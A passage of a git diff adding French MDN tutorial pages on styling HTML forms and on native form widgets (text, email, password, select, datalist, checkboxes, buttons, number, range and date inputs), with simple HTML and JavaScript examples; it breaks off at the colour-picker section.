  • Firefox ne dispose d'aucun moyen pour rendre la flèche de déroulement.
    • +
  • Si vous voulez donner un style aux éléments {{HTMLElement("option")}} dans la liste déroulante, le comportement de Chrome et Opera varie d'un système à l'autre.
    • +
+ +

De plus, avec notre exemple, nous n'utilisons que trois propriétés CSS. Imaginez le désordre quand on considère encore plus de propriétés CSS. Comme vous pouvez le voir, les CSS ne sont pas adaptées pour changer l'apparence et la convivialité de ces widgets de manière cohérente, mais elles vous permettent quand même d'ajuster certaines choses. Pour autant que vous soyez prêt à vivre avec des différences d'un navigateur et d'un système d'exploitation à l'autre.

+ +

Nous vous aiderons à comprendre quelles sont les propriétés qui conviennent dans l'article suivant : Tableau de compatibilité des propriétés entre les widgets de formulaire.

+ +

Vers des formulaires plus sympas : bibliothèques utiles et « polyfill » (prothèses d'émulation)

+ +

Bien que les CSS soient assez expressives pour les cases à cocher et les boutons radio, c'est loin d'être vrai pour les widgets plus avancés. Même si certaines choses sont possibles avec l'élément {{HTMLElement("select")}}, le widget file ne peut pas être stylisé du tout. Il en est de même pour le sélecteur de date, etc.

+ +

Si vous souhaitez avoir un contrôle total sur les widgets de formulaire, vous n'avez pas d'autre choix que de compter sur JavaScript. Dans l'article Comment créer des widgets de formulaires personnalisés, nous voyons comment le faire nous-mêmes, mais il existe des bibliothèques très utiles pouvant vous aider :

+ +
    +
  • Uni-form est un canevas de standardisation du balisage des formulaires, en le composant stylistiquement avec des CSS. Il offre également quelques fonctionnalités supplémentaires lorsqu'il est utilisé avec jQuery, mais c'est optionnel.
    • +
  • Formalize est une extension des canevas JavaScript courants (tels que jQuery, Dojo, YUI, etc.) aidant à rationaliser et personnaliser les formulaires.
    • +
  • Niceforms est une méthode JavaScript autonome fournissant une personnalisation complète des formulaires Web. Vous pouvez utiliser certains thèmes intégrés ou créer les vôtres.
    • +
+ +

Les bibliothèques suivantes ne visent pas seulement les formulaires, mais elles ont des fonctionnalités très intéressantes pour les traiter :

+ +
    +
  • jQuery UI offre des widgets avancés et personnalisables très intéressants, comme les sélecteurs de date (avec une attention particulière pour l'accessibilité).
    • +
  • Twitter Bootstrap peut être très utile si vous voulez normaliser vos formulaires.
    • +
  • WebShim est un énorme outil pouvant vous aider à gérer la prise en charge des navigateurs HTML5. La partie formulaires Web peut être très utile.
    • +
+ +

Rappelez-vous que lier CSS et JavaScript peut avoir des effets collatéraux. Donc, si vous choisissez d'utiliser l'une de ces bibliothèques, vous devez toujours prévoir des solutions de repli dans les feuilles de style en cas d'échec du script. Il y a de nombreuses raisons pour lesquelles les scripts peuvent échouer, surtout dans le monde des mobiles et vous devez concevoir votre site Web ou votre application pour traiter ces cas le mieux possible.

+ +

Conclusion

+ +

 

+ +

Bien qu'il y ait encore des points noirs avec l'utilisation des CSS dans les formulaires HTML, il y a souvent moyen de les contourner. Il n'existe pas de solution générale et nette, mais les navigateurs modernes offrent de nouvelles possibilités. Pour l'instant, la meilleure solution est d'en savoir plus sur la façon dont les divers navigateurs prennent en charge les CSS, telles qu'appliquées aux widgets de formulaires HTML.

+ +

Dans le prochain article de ce guide, nous explorerons comment les différents widgets de formulaire HTML prennent en charge  les plus importantes propriétés des CSS : Tableau de compatibilité des propriétés entre widgets de formulaire.

+ +

Voir aussi

+ + + +

{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets", "Web/Guide/HTML/Formulaires")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/forms/basic_native_form_controls/index.html b/files/fr/learn/forms/basic_native_form_controls/index.html new file mode 100644 index 0000000000..6b692ee256 --- /dev/null +++ b/files/fr/learn/forms/basic_native_form_controls/index.html @@ -0,0 +1,683 @@ +--- +title: Les widgets de formulaire natifs +slug: Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs +tags: + - Contrôles + - Exemple + - Formulaires + - Guide + - HTML + - Web + - Widgets +translation_of: Learn/Forms/Basic_native_form_controls +--- +
{{LearnSidebar}}
+{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires")}}
+ +

Nous examinerons maintenant en détail les fonctionnalités des divers widgets pour formulaires, en soulignant les options disponibles pour collecter les différents types de données. Ce guide vise à être exhaustif en couvrant tous les widgets natifs de formulaire disponibles.

+ + + + + + + + + + + + +
Prérequis :Notions concernant les ordinateurs et les connaissances de base du HTML.
Objectif :Comprendre quels sont les types de widgets de forme native disponibles dans les navigateurs pour collecter des données et comment les mettre en œuvre en se servant du HTML.
+ +

Ici, nous nous attarderons sur les widgets de formulaires intégrés aux navigateurs, mais comme les formulaires HTML restent très circonscrits et que la qualité des implémentations peut être très différente d'un navigateur à l'autre, les développeurs web construisent parfois leurs propres widgets de formulaires — voir Comment construire des widgets de formulaires personnalisés plus loin dans ce même module pour plus d'idées à ce propos.

+ +
+

Note : La plupart des fonctionnalités discutées dans cet article sont abondamment explicitées dans les navigateurs ; nous soulignerons les exceptions à ce sujet. Si vous voulez plus de précisions, consultez les références aux éléments de formulaires HTML, et en particulier nos références détaillées aux types <input>.

+
+ +

Attributs communs

+ +

Beaucoup d'éléments utilisés pour définir les widgets de formulaire ont leurs propres attributs. Cependant, il y a un jeu d'attributs communs à tous les éléments de formulaire. Il vous permettent un certain contrôle sur ces widgets. Voici une liste de ces attributs communs :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nom de l'attributValeur par défautDescription
autofocus(false)Cet attribut, booléen, vous permet de spécifier que cet élément doit avoir automatiquement le focus au chargement de la page, sauf si l'utilisateur prend la main, en faisant, par exemple, une saisie dans un autre contrôle. Seul un élément associé à un formulaire peut avoir cet attribut activé.
disabled(false)Cet attribut est un booléen. Il indique que l'utilisateur ne peut pas avoir d'action sur cet élément. S'il n'est pas précisé, l'élément hérite son comportement de l'élément contenant, comme, {{HTMLElement("fieldset")}} ; si le conteneur n'a pas d'attribut disabled mis, l'élément est activé.
formL'élément <form> auquel le widget est associé. La valeur de l'attribut doit être l'attribut id d'un élément {{HTMLElement("form")}} dans le même document. En théorie, il vous permet de mettre un widget en dehors d'un élément {{HTMLElement("form")}}. En pratique, toutefois, il n'y a pas de navigateur qui prenne en charge cette fonctionnalité.
nameLe nom de l'élément ; il sera soumis en même temps que les données du formulaire.
valueLa valeur initiale de l'élément.
+ +

Champs de saisie de texte

+ +

Les champs {{htmlelement("input")}} de saisie de texte sont les widgets de formulaire les plus élémentaires. Ils sont très pratiques pour permettre à un utilisateur de saisir n'importe quel type de données. Toutefois, certains champs textuels peuvent être spécialisés pour répondre à des besoins précis. Nous avons déjà vu quelques exemples.

+ +
+

Note : Les champs textuels dans les formulaires HTML sont des contrôles de saisie de texte brut. Cela signifie que vous ne pouvez pas les utiliser pour réaliser de la mise en forme riche (gras, italique, etc.). Tous les éditeurs de textes évolués que vous rencontrez utilisent des widgets personnalisés créés avec HTML, CSS et JavaScript.

+
+ +

Tous les champs textuels ont des comportement en commun :

+ +
    +
  • Il peuvent être définis comme {{htmlattrxref("readonly","input")}} (l'utilisateur ne peut pas modifier la valeur) voire {{htmlattrxref("disabled","input")}} (la valeur n'est pas envoyé avec le restant des données du formulaire).
    • +
  • Ils peuvent avoir un {{htmlattrxref("placeholder","input")}}. Ce texte apparaît dans le champs de saisie et décrit brièvement le rôle de cette boîte.
    • +
  • Des contraintes peuvent leur être imposées avec {{htmlattrxref("size","input")}} (la taille physique de la boîte) et avec {{htmlattrxref("maxlength","input")}} (le nombre maximum de caractères qui peuvent être saisis dans la boîte).
    • +
  • Ils peuvent bénéficier d'une correction orthographique, si le navigateur la prend en charge.
    • +
+ +
+

Note : L'élément {{htmlelement("input")}} est spécial car il peut être pratiquement n'importe quoi. En réglant simplement ses attributs de type, il peut changer radicalement, et il est utilisé pour créer la plupart des types de widgets de formulaire allant des champs texte sur une seule ligne, contrôles sans entrée de texte, contrôles de date et heure jusqu'aux boutons. Il y a toutefois des exceptions, comme {{htmlelement("textarea")}} pour les entrées multi-lignes. Prenez bien note de ceci en lisant cet article.

+
+ +

 Champs texte sur une seule ligne

+ +

On crée un champ texte sur une seule ligne avec l'élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type", "input")}} est mis à text (maisi, si vous n'indiquez pas l'attribut {{htmlattrxref("type", "input")}}, text est la valeur par défaut). text est aussi la valeur de repli si celle indiquée pour l'attribut {{htmlattrxref("type", "input")}} est inconnue du navigateur (par exemple, si vous spécifiez type="date" et que le navigateur ne prend pas en charge les sélecteurs de date natifs).

+ +
+

Note : Vous trouverez des exemples de tous les types de champ texte sur une ligne dans GitHub à single-line-text-fields.html (voir directement aussi).

+
+ +

Voici un exemple élémentaire de champ texte sur une ligne :

+ +
<input type="text" id="comment" name="comment" value="Je suis un champ texte">
+ +

Les champs texte sur une ligne n'ont qu'une seule contrainte : si vous saisissez du texte avec des sauts de ligne, le navigateur les supprime avant d'envoyer les données.

+ +

Screenshots of single line text fields on several platforms.

+ +

HTML5 améliore le champ texte élémentaire sur une ligne par ajout de valeurs spéciales pour l'attribut {{htmlattrxref("type","input")}}. Ces valeurs conservent l'élément {{HTMLElement("input")}} en tant que champ texte sur une ligne mais ajoutent quelques contraintes et caractéristiques supplémentaires au champ.

+ +

Champ d'adresse électronique

+ +

Ce type de champ est défini en donnant la valeur email à l'attribut {{htmlattrxref("type","input")}} :

+ +
    <input type="email" id="email" name="email" multiple>
+ +

Avec ce type , l'utilisateur doit saisir un e‑mail valide dans le champ. Tout autre type de contenu amène le navigateur à émettre une erreur lors de la soumission du formulaire. Notez que cette validation s'opère côté client et est faite par le navigateur :

+ +

Entrée d'un e-mail non valide déclenchant un message d'avertissement « Veuillez saisir une adresse électronique valide »

+ +

Avec l'attribut {{htmlattrxref("multiple","input")}}, l'utilisateur pourra saisir plusieurs adresses électroniques dans la même entrée (avec une virgule comme séparateur).

+ +

Sur certains périphériques (les mobiles en particulier), un clavier virtuel différent et mieux adapté à la saisie d'adresses électroniques peut être affiché.

+ +
+

Note: Vous trouverez plus de détails sur la validation des formulaires dans l'article Validation des données de formulaires.

+
+ +

Champ pour mot de passe

+ +

Ce type de champ est défini en donnant la valeur password à l'attribut {{htmlattrxref("type","input")}} :

+ +
    <input type="password" id="pwd" name="pwd">
+ +

Aucune contrainte de saisie du texte n'est ajoutée, mais la valeur entrée dans le champ est masquée (avec des points ou des astérisques) afin qu'elle ne puisse pas être lue par d'autres.

+ +

Gardez à l'esprit que ceci n'est qu'une fonction de l'interface utilisateur ; sauf si vous soumettez le formulaire de manière sécurisée, il sera envoyé en texte brut, ce qui est mauvais pour la sécurité — un tiers malicieux pourrait intercepter les données et voler le mot de passe, les détails de la carte de crédit ou autre texte soumis. La meilleure façon de protéger l'utilisateur contre ceci consiste à héberger toute page contenant des formulaires avec une connexion sécurisée (par ex. avec https:// ...), ainsi les données sont chiffrées avant expédition.

+ +

Les navigateurs modernes reconnaissent les risques courus lors de l'envoi de formulaires avec une connexion non sécurisée et affichent des avertissements pour prévenir les utilisateurs. Pour plus de précisions sur ce que Firefox a mis en œuvre, voir Mots de passe peu sûrs.

+ +

Champ de recherche

+ +

Ce type de champ se définit avec la valeur search de l'attribut {{htmlattrxref("type","input")}} :

+ +
    <input type="search" id="search" name="search">
+ +

La principale différence entre un champ textuel et un champ de recherche est dans l'apparence — souvent, les champs de recherche sont affichés avec des coins arrondis, et/ou avec une « × » à cliquer pour effacer la valeur entrée. Toutefois, une fonction est aussi ajoutée : les valeurs saisies peuvent être automatiquement enregistrées afin d'être utilisées pour compléter des recherches sur plusieurs pages du même site.

+ +

Screenshots of search fields on several platforms.

+ +

Champ pour numéro de téléphone

+ +

Ce type de champ se définit en donnant la valeur tel à l'attribut {{htmlattrxref("type","input")}} :

+ +
    <input type="tel" id="tel" name="tel">
+ +

À cause de la grande variété de formats de numéros de téléphones à travers le monde, ce type de champ n'ajoute pas de contrainte à la valeur saisie par l'utilisateur. C'est principalement une différence sémantique, bien que sur certains appareils (notamment mobiles) un clavier virtuel différent, mieux adapté à la saisie de numéros de téléphone, puisse être présenté.

+ +

Champ d'URL

+ +

Ce type de champ se définit en donnant la valeur url à l'attribut {{htmlattrxref("type","input")}} :

+ +
    <input type="url" id="url" name="url">
+ +

Il ajoute une contrainte de validation spéciale du champ ; le navigateur renvoie une erreur si une URL invalide est saisie.

+ +
Note : ce n'est pas parce qu'une URL est bien formée qu'elle pointe vers un emplacement qui existe réellement.
+ +
+

Note : La présence de champs avec contraintes spéciales considérés comme erronés bloquent l'envoi du formulaire. De plus, leur apparence peut être adaptée afin de mettre en évidence l'erreur. Nous allons discuter de cela dans l'article Validation de formulaires.

+
+ +

Champs texte multilignes

+ +

Un champ texte sur plusieurs lignes  se définit avec l'élément {{HTMLElement("textarea")}}, et non avec l'élément {{HTMLElement("input")}}.

+ +
    <textarea cols="30" rows="10"></textarea>
+ +

La principale différence entre un champ textarea et un champ monoligne est que, dans un textarea, l'utilisateur peut saisir du texte avec des sauts de ligne en dur (c'est à dire en pressant la touche Retour).

+ +

Screenshots of multi-lines text fields on several platforms.

+ +
+

Note : Vous trouverez un exemple de champ texte multiligne sur GitHub à l'adresse multi-line-text-field.html (voir aussi directement). Jetez-y un coup d'œil, et remarquez que dans la plupart des navigateurs, la zone de texte est dotée d'une poignée d'étirement en bas à droite pour permettre à l'utilisateur de la redimensionner. Cette capacité de redimensionnement peut être désactivée en réglant la propriété {{cssxref("resize")}} de la zone de texte à none dans les CSS.

+
+ +

{{htmlelement("textarea")}} accepte également quelques attributs pour contrôler son rendu sur plusieurs lignes  (outre plusieurs autres) :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Attributs pour l'élément {{HTMLElement("textarea")}}
Nom de l'attributValeur par défautDescription
{{htmlattrxref("cols","textarea")}}20Largeur visible de la boîte de contrôle texte, mesurée en largeurs de caractères.
{{htmlattrxref("rows","textarea")}}Nombre de lignes de texte visibles dans la boîte de contrôle.
{{htmlattrxref("wrap","textarea")}}softIndique comment le contrôle va à la ligne. Les valeurs possibles sont : hard ou soft
+ +

Notez que l'élément {{HTMLElement("textarea")}} est écrit un peu différemment de l'élément {{HTMLElement("input")}}. Ce dernier est un élément vide, ce qui signifie qu'il ne peut pas contenir d'élément enfant. A contrario, l'élément {{HTMLElement("textarea")}} est un élément régulier pouvant contenir des enfants contenus de texte.

+ +

Deux points clés à noter ici :

+ +
    +
  • Si vous voulez définir une valeur par défaut pour un élément {{HTMLElement("input")}}, vous devez utiliser l'attribut value ; avec un élément {{HTMLElement("textarea")}} mettez le texte par défaut entre la balise ouvrante et la balise fermante du dit élément.
    • +
  • Par nature, l'élément {{HTMLElement("textarea")}} n'accept que des contenus textuels ; ce qui signifie que si du contenu HTML est placé dans un élément {{HTMLElement("textarea")}} il sera restitué sous forme de texte brut.
    • +
+ +

Contenu déroulant

+ +

Les widgets déroulants sont une manière simple de permettre à l'utilisateur de choisir une option parmi plusieurs sans que cela prenne trop de place dans l'interface utilisateur. HTML dispose de deux types de contenus déroulants la boîte à sélections et la boîte à complétement automatique. Dans les deux cas l'interation est identique. Une fois le contrôle activé, le navigateur affiche une liste de valeurs ouverte au choix de l'utilisateur.

+ +

Boîte à sélection

+ +

Une boîte à sélection est créée avec l'élément {{HTMLElement("select")}} complétée d'un ou plusieurs éléments enfants {{HTMLElement("option")}} définissant les valeurs possibles.

+ +
    <select>
+      <option>Banane</option>
+      <option>Cerise</option>
+      <option>Citron</option>
+    </select>
+ +

Si nécessaire, la valeur par défaut de la boîte de sélection peut être définie en utilisant l'attribut {{htmlattrxref("selected","option")}} dans l'élément {{HTMLElement("option")}} désiré. Les éléments {{HTMLElement("option")}} peuvent être imbriqués dans des éléments {{HTMLElement("optgroup")}} pour créer des groupes de valeurs associées :

+ +
    <select>
+      <optgroup label="Fruits">
+        <option>Banane</option>
+        <option selected>Cerise</option>
+        <option>Citron</option>
+      </optgroup>
+      <optgroup label="Légumes">
+        <option>Carotte</option>
+        <option>Aubergine</option>
+        <option>Pomme de terre</option>
+      </optgroup>
+    </select>
+ +

Screenshots of single line select box on several platforms.

+ +

Si un élément {{HTMLElement("option")}} est défini avec l'attribut value, la valeur de cet attribut est envoyée lorsque le formulaire est soumis. Si l'attribut value est omis, le contenu de l'élément {{HTMLElement("option")}} est utilisé comme valeur de la boîte de sélection.

+ +

Sur l'élément {{HTMLElement("optgroup")}}, l'attribut label est affiché avant les valeurs, mais même s'il ressemble un peu à une option, il n'est pas sélectionnable.

+ +

Boîte à sélections multiples

+ +

Par défaut, une boîte de sélection ne permet à l'utilisateur de ne sélectionner qu'une seule valeur. En ajoutant l'attribut {{htmlattrxref("multiple","select")}} à l'élément {{HTMLElement("select")}}, l'utilisateur peut sélectionner plusieurs valeurs en utilisant le mécanisme par défaut du système d'exploitation (par ex. en pressant Cmd/Ctrl et en cliquant sur plusieur valeurs).

+ +

Dans ce cas toutefois, la boîte d'utilisateur n'affiche plus les valeurs sous forme d'un menu déroulant. Les valeurs sont toutes affichées dans une liste.

+ +
    <select multiple>
+      <option>Banane</option>
+      <option>Cerise</option>
+      <option>Citron</option>
+    </select>
+ +

Screenshots of multi-lines select box on several platforms.

+ +
Note : tous les navigateurs prenant en charge l'élément {{HTMLElement("select")}} prennent aussi en charge l'attribut {{htmlattrxref("multiple","select")}} sur lui.
+ +

Contenus auto-complétés

+ +

Vous pouvez suggérer des valeurs d'auto-complémentation pour les widgets avec un élément {{HTMLElement("datalist")}} accompagné d'éléments enfants {{HTMLElement("option")}} précisant les valeurs à afficher.

+ +

La liste de données est alors liée à un champ texte (généralement un élément input) avec l'attribut {{htmlattrxref("list","input")}}.

+ +

Une fois la liste de données affiliée au widget de formulaire, ses options s'utilisent comme complémentation du texte saisi par l'utilisateur ; cela se présente généralement à l'utilisateur sous forme d'une boîte déroulante listant des correspondances possibles avec ce qui doit être saisi dans la boîte.

+ +
    <label for="onFruit">Quel est votre fruit préféré ?</label>
+    <input type="text" id="onFruit" list="maSuggestion" />
+    <datalist id="maSuggestion">
+      <option>Pomme</option>
+      <option>Banane</option>
+      <option>Mûre</option>
+      <option>Airelles</option>
+      <option>Citron</option>
+      <option>Litchi</option>
+      <option>Pêche</option>
+      <option>Poire</option>
+    </datalist>
+ +
Note : Selon la norme HTML, l'attribut {{htmlattrxref("list","input")}} et l'élément {{HTMLElement("datalist")}} peuvent s'utiliser avec tout type de widget nécessitant une saisie utilisateur. Toutefois, les modalités de ce fonctionnement ne sont pas claire pour des contrôles autres que textuels (de couleur ou de date par ex.) et les divers navigateurs se comporteront de manière différente selon le cas. Pour cette raison, soyez prudent en utilisant cette fonctionnalité avec autre chose que des champs textuels.
+ +
Screenshots of datalist on several platforms.
+ +
+

Prise en charge de Datalist et recours

+ +

L'élément {{HTMLElement("datalist")}} est un ajout très récent aux formulaires HTML, donc sa prise en charge par les navigateurs est un peu plus limitée que ce que nous avons vu précédemment. En particulier, il n'est pas pris en charge dans les versions d'IE inférieures à 10, et Safari ne le prend toujours pas en charge au moment de la rédaction de cet article.

+ +

Pour gérer cela, voici une petite astuce offrant une bonne solution de repli pour ces navigateurs :

+ +
<label for="myFruit">Quel est votre fruit préféré ? (avec repli)</label>
+<input type="text" id="myFruit" name="fruit" list="fruitList">
+
+<datalist id="fruitList">
+  <label for="suggestion">ou choisissez un fruit</label>
+  <select id="suggestion" name="altFruit">
+    <option>Pomme</option>
+    <option>Banane</option>
+    <option>Mûres</option>
+    <option>Airelles</option>
+    <option>Citron</option>
+    <option>Litchi</option>
+    <option>Pêche</option>
+    <option>Poire</option>
+  </select>
+</datalist>
+ +

Les navigateurs qui prennent en charge l'élément {{HTMLElement("datalist")}} ignoreront tous les éléments qui ne sont pas {{HTMLElement("option")}} et fonctionneront comme prévu. D'autre part, les navigateurs qui ne prennent pas en charge l'élément {{HTMLElement("datalist")}} afficheront l'étiquette et la boîte de sélection. Bien sûr, il y a d'autres façons de gérer ce manque de prise en charge de l'élément {{HTMLElement("datalist")}}, mais c'est la manière la plus simple (d'autres ont besoin de JavaScript).

+ + + + + + + + + + + + +
Safari 6Screenshot of the datalist element fallback with Safari on Mac OS
Firefox 18Screenshot of the datalist element with Firefox on Mac OS
+
+ +

Éléments à cocher

+ +

Les éléments à cocher sont des widgets dont l'état se modifie en cliquant sur eux. Il existe deux types d'éléments à cocher : la case à cocher et le bouton radio. Les deux utilisent l'attribut {{htmlattrxref("checked","input")}} pour indiquer si le widget est coché par défaut ou non.

+ +

Il est important de noter que ces widgets ne se comportent pas tout à fait comme les autres widgets de formulaires. Pour la plupart des widgets, une fois que le formulaire est envoyé, tous les widgets dont l'attribut {{htmlattrxref("name","input")}} est défini sont envoyés, même s'ils ne sont pas renseignés. Dans le cas des éléments à cocher, leurs valeurs ne sont envoyées que s'ils sont cochés. S'ils ne sont pas cochés, rien n'est envoyé, pas même la valeur de leur attribut name.

+ +
+

Note : Vous trouverez les exemples de cette section sur GitHub à l'adresse checkable-items.html (voir directement aussi).

+
+ +

Pour un maximum de convivialité/accessibilité, il est conseillé d'entourer chaque liste d'éléments liés dans un {{htmlelement("fieldset")}}, avec un élément {{htmlelement("legend")}} fournissant une description globale de la liste.  Chaque paire individuelle d'éléments {{htmlelement("label")}}/{{htmlelement("input")}} doit être contenue dans son propre élément de liste (ou similaire), comme le montrent les exemples.

+ +

Vous devez également fournir des valeurs pour ces types d'entrées dans l'attribut value si vous voulez qu'elles aient un sens — si aucune valeur n'est fournie, les cases à cocher et les boutons radio ont la valeur on.

+ +

Case à cocher

+ +

Une casce à cocher se crée avec l'élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur checkbox.

+ +
    <input type="checkbox" checked id="carrots" name="carrots" value="carrots">
+
+ +

Mettre l'attribut checked fait que la case sera cochée au chargement de la page.

+ +

Screenshots of check boxes on several platforms.

+ +

Bouton radio

+ +

Un bouton radio se crée avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a la valeur radio.

+ +
    <input type="radio" checked id="soup" name="meal">
+ +

Plusieurs boutons radio peuvent être liés ensemble. S'ils partagent la même valeur pour leur attribut {{htmlattrxref("name","input")}}, ils seront considérés comme faisant partie d'un seul groupe de boutons. Seulement un bouton à la fois peut être coché par groupe. Ceci signifie que si l'un d'entre eux est coché, tous les autres sont automatiquement décochés. Lorsque le formulaire est envoyé, seule la valeur du bouton coché est envoyée. Si aucun des boutons n'est coché, l'ensemble des boutons du groupe est considéré comme étant dans un état inconnu et aucune valeur n'est envoyée avec le formulaire.

+ +
<fieldset>
+  <legend>Quel est votre mets préféré ?</legend>
+  <ul>
+    <li>
+      <label for="soup">Soupe</label>
+      <input type="radio" checked id="soup" name="meal" value="soup">
+    </li>
+    <li>
+      <label for="curry">Curry</label>
+      <input type="radio" id="curry" name="meal" value="curry">
+    </li>
+    <li>
+      <label for="pizza">Pizza</label>
+      <input type="radio" id="pizza" name="meal" value="pizza">
+    </li>
+  </ul>
+</fieldset>
+ +

Screenshots of radio buttons on several platforms.

+ +

Boutons

+ +

Dans les formulaires HTML, il existe trois types de boutons :

+ +
+
Submit
+
Envoie les données du formulaire au serveur.
+
Reset
+
Réinitialise les widgets de formulaire à leurs valeurs par défaut.
+
Anonymous
+
Type de bouton n'ayant pas d'effet prédéfini mais qui peut être personnalisé grâce à du code JavaScript.
+
+ +

Un bouton se crée avec un élément {{HTMLElement("button")}} ou un élément {{HTMLElement("input")}}. C'est la valeur de l'attribut {{htmlattrxref("type","input")}} qui définit le type de bouton affiché :

+ +

submit

+ +
    <button type="submit">
+        Ceci est un <br><strong>bouton d'envoi</strong>
+    </button>
+
+    <input type="submit" value="Ceci est un bouton d'envoi">
+ +

reset

+ +
    <button type="reset">
+        Ceci est un <br><strong>bouton de réinitialisation</strong>
+    </button>
+
+    <input type="reset" value="Ceci est un bouton de réinitialisation">
+ +

anonymous

+ +
    <button type="button">
+        Ceci est un <br><strong>bouton lambda</strong>
+    </button>
+
+    <input type="button" value="Ceci est un bouton lambda">
+ +

Les boutons se comportent de la même manière que vous utilisiez l'élément {{HTMLElement("button")}} ou l'élément {{HTMLElement("input")}}. Il existe toutefois quelques différences à noter :

+ +
    +
  • Comme on peut le voir dans l'exemple précédent, les éléments {{HTMLElement("button")}} autorisent l'utilisation de contenu HTML dans l'étiquette, tandis que les éléments {{HTMLElement("input")}} n'acceptent que du texte brut.
    • +
  • Dans le cas des éléments {{HTMLElement("button")}}, il est possible d'avoir une valeur différente de l'étiquette du bouton (toutefois, ceci ne peut être utilisé pour les versions antérieures à la version 8 d'Internet Explorer).
    • +
+ +

Screenshots of buttons on several platforms.

+ +

Techniquement parlant, il n'y a pratiquement pas de différence entre un bouton défini avec l'élément {{HTMLElement("button")}} ou l'élément {{HTMLElement("input")}}. La seule différence à noter réside dans l'étiquette du bouton lui-même. Dans un élément {{HTMLElement("input")}}, l'étiquette ne peut être constituée que de données de type caractère, alors que dans un élément {{HTMLElement("button")}}, l'étiquette peut être mise sous HTML, de sorte qu'elle peut être mise en forme en conséquence.

+ +

Widgets de formulaires avancés

+ +

Ces widgets sont des contrôles permettant l'utilisateur de saisir des données plus complexes ou moins habituelles, comme des nombres exacts ou approchés, des dates et heures ainsi que des couleurs.

+ +

Nombres

+ +

On crée un widget pour nombres avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur number. Ce contrôle ressemble à un champ texte mais il n'accepte que des chiffres en virgule flottante, et propose habituellement des boutons pour augmenter ou réduire la valeur dans le widget.

+ +

Il est aussi possible de :

+ +
    +
  • contraindre la valeur en définissant les attributs {{htmlattrxref("min","input")}} et {{htmlattrxref("max","input")}}.
    • +
  • définir l'incrément de modification de la valeur du widget à l'aide des boutons ad‑hoc en précisant l'attribut {{htmlattrxref("step","input")}}.
    • +
+ +

Exemple

+ +
    <input type="number" name="age" id="age" min="1" max="10" step="2">
+ +

Ceci créé un widget pour un nombre dont la valeur est comprise entre 1 et 10 et dont les boutons d'incrémentation/décrémentation modifient la valeur par pas de 2.

+ +

Curseurs

+ +

Le curseur est une autre manière de sélectionner un nombre. Comme, visuellement parlant, les curseurs sont moins précis qu'un champ textuel, ils sont utilisés pour retenir un nombre dont la précision de valeur n'est pas primordiale.

+ +

Un curseur se crée avec l'élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur range. Il est important de configurer convenablement le curseur. À cet effet, il est fortement recommandé de définir les attributs {{htmlattrxref("min","input")}}, {{htmlattrxref("max","input")}} et {{htmlattrxref("step","input")}}.

+ +

Exemple

+ +
    <input type="range" name="beans" id="beans" min="0" max="500" step="10">
+
+ +

Cet exemple créé un curseur dont les valeurs varient entre 0 et 500, et dont les bouton d'incrément/décrément font varier la valeur de ±10.

+ +

Un problème avec les curseurs est qu'il n'offrent aucun moyen visue de savoir quelle est leur valeur courante. Il est nécessaire d'ajouter cela vous‑même à l'aide de JavaScript, mais c'est assez facile. Dans cet exemple nous ajoutons un élément {{htmlelement("span")}} dans lequel nous écrivons la valeur courante du curseur et la mettons à jour quand elle est modifiée.

+ +
<label for="beans">Combien de haricots pouvez‑vous manger ?</label>
+<input type="range" name="beans" id="beans" min="0" max="500" step="10">
+<span class="beancount"></span>
+ +

et en  JavaScript :

+ +
var beans = document.querySelector('#beans');
+var count = document.querySelector('.beancount');
+
+count.textContent = beans.value;
+
+beans.oninput = function() {
+  count.textContent = beans.value;
+}
+ +

Ici nous stockons dans deux variables les références du curseur et celle de span, puis nous réglons immédiatement le textContent  de span à la valeur courante value de l'entrée. Enfin, nous avons mis en place un gestionnaire d'événements oninput de sorte que chaque fois que le curseur de plage est déplacé, le textContent de span est mis à jour avec la nouvelle valeur de l'entrée.

+ +

L'attribut range pour input n'est pas pris en charge dans les versions d'Internet Explorer dont le numéro est inférieur à 10.

+ +

Sélection de date et heure

+ +

Recueillir des données de date et heure a traditionnellement toujours été un cauchemar pour les développeurs web. HTML5 ajoute des améliorations en ajoutant un contrôle qui permet de manipuler ce type de données.

+ +

Un contrôle de sélection de date et heure se crée avec l'élément {{HTMLElement("input")}} et une valeur appropriée de l'attribut {{htmlattrxref("type","input")}} selon que vous voulez recueillir des dates, des heures ou les deux.

+ +

datetime-local

+ +

Cette valeur d'attribut créé un widget pour afficher et sélectionner une date et une heure quelque soit le fuseau horaire.

+ +
<input type="datetime-local" name="datetime" id="datetime">
+ +

month

+ +

Cette valeur d'attribut créé un widget pour afficher et sélectionner un mois dans une année donnée.

+ +
<input type="month" name="month" id="month">
+ +

time

+ +

Cette valeur d'attribut créé un widget pour afficher et sélectionner un horaire.

+ +
<input type="time" name="time" id="time">
+ +

week

+ +

Cette valeur d'attribut crée un widget pour afficher et sélectionner une semaine et l'année correspondante.

+ +
<input type="week" name="week" id="week">
+ +

Tous les contrôles de sélection de date et heure peuvent être contraints à l'aide des attributs {{htmlattrxref("min","input")}} et {{htmlattrxref("max","input")}}.

+ +
    <label for="maDate">Quand êtes vous disponible cet été ?</label>
+    <input type="date" min="2013-06-01" max="2013-08-31" id="maDate">
+ +

Attention : Les widgets de date et heure sont encore peu pris en charge. Au moment de la rédaction de cet article, Chrome, Edge et Opera les prennent bien en charge, mais il n'y a pas de prise en charge dans Internet Explorer et Firefox et Safari n'ont qu'une prise en charge lacunaire de ces derniers.

+ +

Sélecteur de couleur

+ +

